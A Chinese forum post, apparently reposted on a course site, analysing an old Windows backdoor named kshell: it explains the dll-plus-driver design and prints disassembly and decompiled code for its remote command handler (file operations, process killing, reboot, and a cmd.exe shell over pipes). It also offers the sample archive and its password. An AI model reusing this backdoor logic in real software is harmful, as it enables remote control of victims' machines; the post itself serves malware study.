欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]kshell backdoor分析,高手请绕行,内含福利 - -!

[原创]kshell backdoor分析,高手请绕行,内含福利 - -!

为了不得罪为了福利进来的高手,我首先要表示福利请看样本签名
由于样本年代过于久远,所以本文技术含量不高,发出来只是为了让我等菜鸟有一个共同学习提高的机会,顺便灌水毛个泡,潜了太久了。。。
然后是正题:
   起因是某朋友说在服务器上抓到了只小马,怀疑是Gh0st(这种秒杀级的马为什么现在还可以这么流行,看来国内抄袭现象还是比较严重的)。
   后来看了一下朋友打包发过来的样本,发现我还是too young,too simple,这个马。。。年代差不多和Gh0st一样久远,难道真是网站管理员越来越懒了么。。。。
   马的架构:
   dll+sys
   sys文件负责网络通信
   dll以服务的形式注册,负责执行发送过来的指令,cd/md/rd/exec/各种,有个wget指令作者说在下一个版本中添加- -!
   稍微贴点代码,具体请参考压缩包内idb注释:
   入口ServiceMain,只贴重要的地方:


....

mov     _flag_stop_workthread, 0

push    0               ; lpThreadId

push    0               ; dwCreationFlags

push    0               ; lpParameter

push    offset StartAddress ; lpStartAddress//开启工作线程

push    0               ; dwStackSize

push    0               ; lpThreadAttributes

call    ds:CreateThread

....


   然后是这个工作线程:

.text:10004150                 call    sub_10001560    ; 驱动加载,并打开驱动句柄(hDevice)

.text:10004150                                         ; 成功返回:1

.text:10004150                                         ; 失败返回:0

.text:10004155                 test    eax, eax

.text:10004157                 jz      short loc_1000419B

.text:10004159                 push    edi

.text:1000415A                 mov     edi, offset aChkrootport ; "chkrootport"

.text:1000415F                 or      ecx, 0FFFFFFFFh

.text:10004162                 xor     eax, eax

.text:10004164                 repne scasb

.text:10004166                 not     ecx

.text:10004168                 dec     ecx

.text:10004169                 push    ecx             ; nInBufferSize

.text:1000416A                 push    offset aChkrootport ; "chkrootport"

.text:1000416F                 call    sub_10001600    ; 与驱动通信,检查rootport,但是驱动中好像没有检查

.text:1000416F                                         ; 站坑用的

.text:10004174                 call    sub_10003F10    ; 核心函数


   sub_10001560里面,无非就是FindResource,LoadResource,WriteFile生成sys,然后CreateFile打开一个和sys通信用的句柄hDevice。sub_10003F10才是关键:

.text:10003F10 sub_10003F10    proc near               ; CODE XREF: StartAddress+24p

.text:10003F10                 push    offset dword_10013630 ; int

.text:10003F15                 push    offset szBuf    ; lpszBuffer

.text:10003F1A                 call    sub_10001640    ; 从驱动中获取ip地址

.text:10003F1A                                         ; 传入:

.text:10003F1A                                         ;     param1:指向保存ip地址的内存

.text:10003F1A                                         ;     param2:unknow

.text:10003F1F                 add     esp, 8

.text:10003F22                 test    eax, eax

.text:10003F24                 jnz     short loc_10003F50

.text:10003F26

.text:10003F26 loc_10003F26:                           ; CODE XREF: sub_10003F10+3Ej

.text:10003F26                 push    10              ; dwMilliseconds

.text:10003F28                 call    Sleep

.text:10003F2D                 mov     eax, _flag_stop_workthread

.text:10003F32                 test    eax, eax

.text:10003F34                 jnz     locret_10004003

.text:10003F3A                 push    offset dword_10013630 ; int

.text:10003F3F                 push    offset szBuf    ; lpszBuffer

.text:10003F44                 call    sub_10001640    ; 从驱动中获取ip地址

.text:10003F44                                         ; 传入:

.text:10003F44                                         ;     param1:指向保存ip地址的内存

.text:10003F44                                         ;     param2:unknow

.text:10003F49                 add     esp, 8

.text:10003F4C                 test    eax, eax

.text:10003F4E                 jz      short loc_10003F26

.text:10003F50

.text:10003F50 loc_10003F50:                           ; CODE XREF: sub_10003F10+14j

.text:10003F50                 mov     eax, dword_10013630

.text:10003F55                 mov     dword_10013668, 0

.text:10003F5F                 push    eax

.text:10003F60                 push    offset szBuf

.text:10003F65                 push    offset aDoorIsBindOnSD ; "Door is bind on %s:%d\n"

.text:10003F6A                 call    _EAX_0

.text:10003F6F                 add     esp, 0Ch

.text:10003F72                 call    unknown_libname_1 ; Microsoft VisualC 2-10/net runtime

.text:10003F77                 call    sub_10004070    ; 解析网络参数

.text:10003F77                                         ; 收发数据

.text:10003F7C                 call    sub_10004140    ; 最终会导致执行传递过来的指令

.text:10003F81                 mov     eax, _flag_stop_workthread

.text:10003F86                 test    eax, eax

.text:10003F88                 jnz     short loc_10003FEC

.text:10003F8A

.text:10003F8A loc_10003F8A:                           ; CODE XREF: sub_10003F10+DAj

.text:10003F8A                 call    sub_10004020

.text:10003F8F                 push    offset unk_10AB54E0

.text:10003F94                 call    sub_10003D50

.text:10003F99                 mov     eax, dword_10013668

.text:10003F9E                 add     esp, 4

.text:10003FA1                 test    eax, eax

.text:10003FA3                 jz      short loc_10003FE3

.text:10003FA5                 push    offset dword_10013630 ; int

.text:10003FAA                 push    offset szBuf    ; lpszBuffer

.text:10003FAF                 call    sub_10001640    ; 从驱动中获取ip地址

.text:10003FAF                                         ; 传入:

.text:10003FAF                                         ;     param1:指向保存ip地址的内存

.text:10003FAF                                         ;     param2:unknow

.text:10003FB4                 add     esp, 8

.text:10003FB7                 test    eax, eax

.text:10003FB9                 jz      short loc_10003FE3

.text:10003FBB                 mov     ecx, dword_10013630

.text:10003FC1                 push    ecx

.text:10003FC2                 push    offset szBuf

.text:10003FC7                 push    offset aDoorIsBindOnSD ; "Door is bind on %s:%d\n"

.text:10003FCC                 call    _EAX_0

.text:10003FD1                 add     esp, 0Ch

.text:10003FD4                 call    sub_10004140    ; 最终会导致执行传递过来的指令

.text:10003FD9                 mov     dword_10013668, 0

.text:10003FE3

.text:10003FE3 loc_10003FE3:                           ; CODE XREF: sub_10003F10+93j

.text:10003FE3                                         ; sub_10003F10+A9j

.text:10003FE3                 mov     eax, _flag_stop_workthread

.text:10003FE8                 test    eax, eax

.text:10003FEA                 jz      short loc_10003F8A

.text:10003FEC

.text:10003FEC loc_10003FEC:                           ; CODE XREF: sub_10003F10+78j

.text:10003FEC                 push    offset unk_10AB54E0

.text:10003FF1                 call    sub_10003D40

.text:10003FF6                 push    offset aEthernetif_shu ; "ethernetif_shutdown\n"

.text:10003FFB                 call    _EAX_0

.text:10004000                 add     esp, 8

.text:10004003

.text:10004003 locret_10004003:                        ; CODE XREF: sub_10003F10+24j

.text:10004003                 retn


    sub_10004070负责和驱动通信,解析网络参数。sub_10004140会执行网络传过来的指令。看一下干活的地方:

// 后门功能函数,负责接收并执行指令

BOOL __thiscall sub_10002570(int this, LPCVOID lpBuffer, DWORD Size)

{

  ....

  v3 = this;

  if ( *(_DWORD *)(this + 72) )

  {

    v4 = *(_DWORD *)(this + 16);

    if ( v4 )

    {

      v5 = *(void **)(v4 + 16);

      NumberOfBytesWritten = 0;

      return WriteFile(v5, lpBuffer, Size, &NumberOfBytesWritten, 0);

    }

  }

  v7 = malloc(Size);

  memcpy(v7, lpBuffer, Size - 1);

  *((_BYTE *)v7 + Size - 1) = 0;

  v75 = v7;

  v61 = -1;

  v67 = 0;

  sub_10001C20(v7, &v67, &lpString1, 9);

  if ( !lstrcmpiA(lpString1, "CD") )

  {

    if ( v67 == 2 )

    {

      v61 = SetCurrentDirectoryA(Str);

LABEL_89:

      v32 = strlen("\n\n") + 1;

      v56 = 0;

      v33 = v32 - 1;

      if ( v32 != 1 )

      {

        v34 = (int)"\n\n";

        while ( (unsigned int)v33 >= 0x2000 )

        {

          while ( (unsigned __int8)sub_100021C0(v34, 8192) )

            Sleep(5u);

          v33 -= 8192;

          v34 += 8192;

          ++v56;

          if ( !v33 )

            goto LABEL_98;

        }

        while ( (unsigned __int8)sub_100021C0(&asc_10013450[8192 * v56], v33) )

          Sleep(5u);

      }

LABEL_98:

      if ( v61 )

      {

        if ( v61 == 1 )

        {

          sprintf(Dest, "Command \"%s\" succeed.", lpString1);

          v40 = 0;

          v41 = strlen(Dest) + 1;

          v58 = 0;

          v42 = v41 - 1;

          if ( v41 != 1 )

          {

            v43 = Dest;

            while ( (unsigned int)v42 >= 0x2000 )

            {

              while ( (unsigned __int8)sub_100021C0(v43, 8192) )

                Sleep(5u);

              v42 -= 8192;

              v43 += 8192;

              ++v58;

              if ( !v42 )

                goto LABEL_131;

              v40 = v58;

            }

            v44 = &Dest[8192 * v40];

            while ( (unsigned __int8)sub_100021C0(v44, v42) )

              Sleep(5u);

          }

        }

        else

        {

          sprintf(Dest, "Invalid Command \"%s\".", lpString1);

          v45 = strlen(Dest) + 1;

          v59 = 0;

          v46 = v45 - 1;

          if ( v45 != 1 )

          {

            v47 = Dest;

            while ( (unsigned int)v46 >= 0x2000 )

            {

              while ( (unsigned __int8)sub_100021C0(v47, 8192) )

                Sleep(5u);

              v46 -= 8192;

              v47 += 8192;

              ++v59;

              if ( !v46 )

                goto LABEL_131;

            }

            while ( (unsigned __int8)sub_100021C0(&Dest[8192 * v59], v46) )

              Sleep(5u);

          }

        }

      }

      else

      {

        sprintf(Dest, "Failed to process command \"%s\".", lpString1);

        v35 = 0;

        v36 = strlen(Dest) + 1;

        v57 = 0;

        v37 = v36 - 1;

        if ( v36 != 1 )

        {

          v38 = Dest;

          while ( (unsigned int)v37 >= 0x2000 )

          {

            while ( (unsigned __int8)sub_100021C0(v38, 8192) )

              Sleep(5u);

            v37 -= 8192;

            v38 += 8192;

            ++v57;

            if ( !v37 )

              goto LABEL_131;

            v35 = v57;

          }

          v39 = &Dest[8192 * v35];

          while ( (unsigned __int8)sub_100021C0(v39, v37) )

            Sleep(5u);

        }

      }

LABEL_131:

      v48 = strlen(off_1001318C[0]) + 1;

      NumberOfBytesWritten = (DWORD)off_1001318C[0];

      v49 = v48 - 1;

      v60 = 0;

      if ( v48 != 1 )

      {

        v50 = off_1001318C[0];

        while ( (unsigned int)v49 >= 0x2000 )

        {

          while ( (unsigned __int8)sub_100021C0(v50, 8192) )

            Sleep(5u);

          v49 -= 8192;

          v50 += 8192;

          ++v60;

          if ( !v49 )

            return sub_1000B2B5(v75);

        }

        while ( (unsigned __int8)sub_100021C0((v60 << 13) + NumberOfBytesWritten, v49) )

          Sleep(5u);

      }

      return sub_1000B2B5(v75);

    }

    v52 = strlen("Usage: CD <Directory>");

    v51 = (int)"Usage: CD <Directory>";

    goto LABEL_88;

  }

  if ( !lstrcmpiA(lpString1, "MD") || !lstrcmpiA(lpString1, "MKDIR") )

  {

    if ( v67 == 2 )

    {

      v61 = CreateDirectoryA(Str, 0);

      goto LABEL_89;

    }

    v52 = strlen("Usage: MD/MKDIR <Directory>");

    v51 = (int)"Usage: MD/MKDIR <Directory>";

    goto LABEL_88;

  }

  if ( !lstrcmpiA(lpString1, "PWD") )

  {

    GetCurrentDirectoryA(0x104u, &CommandLine);

    v8 = 0;

    v9 = strlen(&CommandLine) + 1;

    v66 = 0;

    v10 = v9 - 1;

    v53 = v9 - 1;

    if ( v9 != 1 )

    {

      v62 = (LONG)&CommandLine;

      while ( (unsigned int)v10 >= 0x2000 )

      {

        while ( 1 )

        {

          while ( *(_WORD *)(*(_DWORD *)v3 + 112) > 5u )

            Sleep(1u);

          ProcessInformation = v62;

          LOWORD(v69) = 8192;

          v70 = 0;

          hObject = CreateEventA(0, 0, 0, 0);

          InterlockedExchange((volatile LONG *)(v3 + 4), (LONG)&ProcessInformation);

          WaitForSingleObject(hObject, 0xFFFFFFFFu);

          InterlockedExchange((volatile LONG *)(v3 + 4), 0);

          CloseHandle(hObject);

          dword_1001735C = GetTickCount();

          if ( !(_BYTE)v70 )

            break;

          Sleep(5u);

        }

        v10 = v53 - 8192;

        v8 = (int)((char *)v66 + 1);

        v11 = v53 == 8192;

        v53 -= 8192;

        v66 = (HANDLE *)((char *)v66 + 1);

        v62 += 8192;

        if ( v11 )

        {

          v61 = 1;

          goto LABEL_89;

        }

      }

      v12 = &CommandLine + 8192 * v8;

      while ( (unsigned __int8)sub_100021C0(v12, v10) )

        Sleep(5u);

    }

    v61 = 1;

    goto LABEL_89;

  }

  if ( !lstrcmpiA(lpString1, "WGET") )

  {

    if ( v67 == 2 )

    {

      v52 = strlen("will support in new version");

      v51 = (int)"will support in new version";

    }

    else

    {

      v52 = strlen("Usage: WGET <URL>");

      v51 = (int)"Usage: WGET <URL>";

    }

    goto LABEL_88;

  }

  if ( !lstrcmpiA(lpString1, "EXEC") || !lstrcmpiA(lpString1, "RUN") )

  {

    if ( v67 == 2 )

    {

      v61 = WinExec(Str, 1u) > 0x1F;

    }

    else

    {

      v29 = strlen("Usage: EXEC/RUN <Filename>") + 1;

      v55 = 0;

      v30 = v29 - 1;

      if ( v29 != 1 )

      {

        v31 = (int)"Usage: EXEC/RUN <Filename>";

        while ( (unsigned int)v30 >= 0x2000 )

        {

          while ( (unsigned __int8)sub_100021C0(v31, 8192) )

            Sleep(5u);

          v30 -= 8192;

          v31 += 8192;

          ++v55;

          if ( !v30 )

            goto LABEL_89;

        }

        while ( (unsigned __int8)sub_100021C0(&aUsageExecRunFi[8192 * v55], v30) )

          Sleep(5u);

      }

    }

    goto LABEL_89;

  }

  if ( !lstrcmpiA(lpString1, "PS") )

  {

    v13 = sub_10001A60(0, 0);

    v14 = 2 * v13;

    v15 = (DWORD)malloc(2 * v13);

    v16 = v15;

    NumberOfBytesWritten = v15;

    v17 = sub_10001A60(v15, v14);

    v18 = 0;

    v66 = (HANDLE *)v17;

    v54 = 0;

    if ( v17 )

    {

      v63 = v16;

      while ( (unsigned int)v17 >= 0x2000 )

      {

        while ( 1 )

        {

          while ( *(_WORD *)(*(_DWORD *)v3 + 112) > 5u )

            Sleep(1u);

          ProcessInformation = v63;

          LOWORD(v69) = 8192;

          v70 = 0;

          hObject = CreateEventA(0, 0, 0, 0);

          InterlockedExchange((volatile LONG *)(v3 + 4), (LONG)&ProcessInformation);

          WaitForSingleObject(hObject, 0xFFFFFFFFu);

          InterlockedExchange((volatile LONG *)(v3 + 4), 0);

          CloseHandle(hObject);

          dword_1001735C = GetTickCount();

          if ( !(_BYTE)v70 )

            break;

          Sleep(5u);

        }

        v17 = (int)(v66 - 2048);

        v18 = v54 + 1;

        v11 = v66 == (HANDLE *)8192;

        v66 -= 2048;

        ++v54;

        v63 += 8192;

        if ( v11 )

          goto LABEL_41;

      }

      v19 = (v18 << 13) + NumberOfBytesWritten;

      while ( (unsigned __int8)sub_100021C0(v19, v17) )

        Sleep(5u);

    }

LABEL_41:

    sub_1000B2B5(NumberOfBytesWritten);

    v61 = 1;

    goto LABEL_89;

  }

  if ( !lstrcmpiA(lpString1, "KILL") )

  {

    if ( v67 == 2 )

    {

      sub_100019D0("SeDebugPrivilege", 1);

      v20 = atoi(Str);

      v21 = OpenProcess(0x1F0FFFu, 0, v20);

      v61 = TerminateProcess(v21, 0);

      CloseHandle(v21);

      sub_100019D0("SeDebugPrivilege", 0);

      goto LABEL_89;

    }

    v52 = strlen("Usage: KILL <Process_ID>");

    v51 = (int)"Usage: KILL <Process_ID>";

LABEL_88:

    sub_100031E0(v51, v52);

    goto LABEL_89;

  }

  if ( lstrcmpiA(lpString1, "SHELL") )

  {

    if ( lstrcmpiA(lpString1, "SHUTDOWN") )

    {

      if ( lstrcmpiA(lpString1, "REBOOT") )

      {

        if ( lstrcmpiA(lpString1, "EXIT") )

        {

          if ( !lstrcmpiA(lpString1, "HELP") || !lstrcmpiA(lpString1, "H") || !lstrcmpiA(lpString1, "?") )

          {

            sub_100031E0(off_10013190, strlen(off_10013190));

            v61 = 1;

          }

        }

        else

        {

          sub_100042E0(*(_DWORD *)v3);

          v61 = 1;

        }

      }

      else

      {

        sub_100019D0("SeShutdownPrivilege", 1);

        v61 = ExitWindowsEx(6u, 0);

      }

    }

    else

    {

      sub_100019D0("SeShutdownPrivilege", 1);

      v61 = ExitWindowsEx(0xCu, 0);

    }

    goto LABEL_89;

  }

  *(_DWORD *)(v3 + 72) = 1;

  v22 = operator new(0x2Cu);

  if ( v22 )

  {

    v23 = *(_DWORD *)v3;

    *((_DWORD *)v22 + 1) = 0;

    *(_DWORD *)v22 = v23;

    dword_1001735C = GetTickCount();

    *((_DWORD *)v22 + 2) = 180000;

    *((_DWORD *)v22 + 3) = 0;

    *((_DWORD *)v22 + 4) = 0;

    *((_DWORD *)v22 + 5) = 0;

    *((_DWORD *)v22 + 6) = 0;

    *((_DWORD *)v22 + 9) = 0;

    *((_DWORD *)v22 + 10) = CreateEventA(0, 1, 0, 0);

  }

  else

  {

    v22 = 0;

  }

  CommandLine = 0;

  memset(&v78, 0, 0x100u);

  v79 = 0;

  v80 = 0;

  StartupInfo.cb = 0;

  *(_DWORD *)(v3 + 16) = v22;

  memset(&StartupInfo.lpReserved, 0, 0x40u);

  v69 = 0;

  v24 = (HANDLE *)((char *)v22 + 24);

  v70 = 0;

  ProcessInformation = 0;

  hObject = 0;

  PipeAttributes.nLength = 12;

  PipeAttributes.lpSecurityDescriptor = 0;

  PipeAttributes.bInheritHandle = 1;

  NumberOfBytesWritten = (DWORD)((char *)v22 + 12);

  if ( CreatePipe((PHANDLE)v22 + 3, (PHANDLE)v22 + 6, &PipeAttributes, 0) )

  {

    v66 = (HANDLE *)((char *)v22 + 16);

    v64 = (HANDLE *)((char *)v22 + 20);

    if ( CreatePipe((PHANDLE)v22 + 5, (PHANDLE)v22 + 4, &PipeAttributes, 0) )

    {

      memset(&StartupInfo, 0, sizeof(StartupInfo));

      ProcessInformation = 0;

      v69 = 0;

      v70 = 0;

      hObject = 0;

      GetStartupInfoA(&StartupInfo);

      StartupInfo.hStdInput = *v64;

      v27 = *v24;

      StartupInfo.cb = 68;

      StartupInfo.wShowWindow = 0;

      StartupInfo.dwFlags = 257;

      StartupInfo.hStdError = v27;

      StartupInfo.hStdOutput = v27;

      ExpandEnvironmentStringsA("%ComSpec%", &CommandLine, 0x104u);

      if ( CreateProcessA(

             0,

             &CommandLine,

             0,

             0,

             1,

             0x20u,

             0,

             0,

             &StartupInfo,

             (LPPROCESS_INFORMATION)&ProcessInformation) )

      {

        v28 = v69;

        *((_DWORD *)v22 + 7) = ProcessInformation;

        *((_DWORD *)v22 + 8) = v28;

        *((_DWORD *)v22 + 9) = CreateThread(0, 0, sub_10003380, v22, 0, 0);

      }

      else

      {

        CloseHandle(*(HANDLE *)NumberOfBytesWritten);

        CloseHandle(*v66);

        CloseHandle(*v64);

        CloseHandle(*v24);

      }

    }

    else

    {

      v26 = (void *)*((_DWORD *)v22 + 4);

      if ( v26 )

        CloseHandle(v26);

      if ( *v64 )

        CloseHandle(*v64);

    }

  }

  else

  {

    if ( *(_DWORD *)NumberOfBytesWritten )

      CloseHandle(*(HANDLE *)NumberOfBytesWritten);

    v25 = *v24;

    if ( v25 )

      CloseHandle(v25);

  }

  return sub_1000B2B5(v75);

}


解压密码:M$croS0Ft_

上传的附件 bkd.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功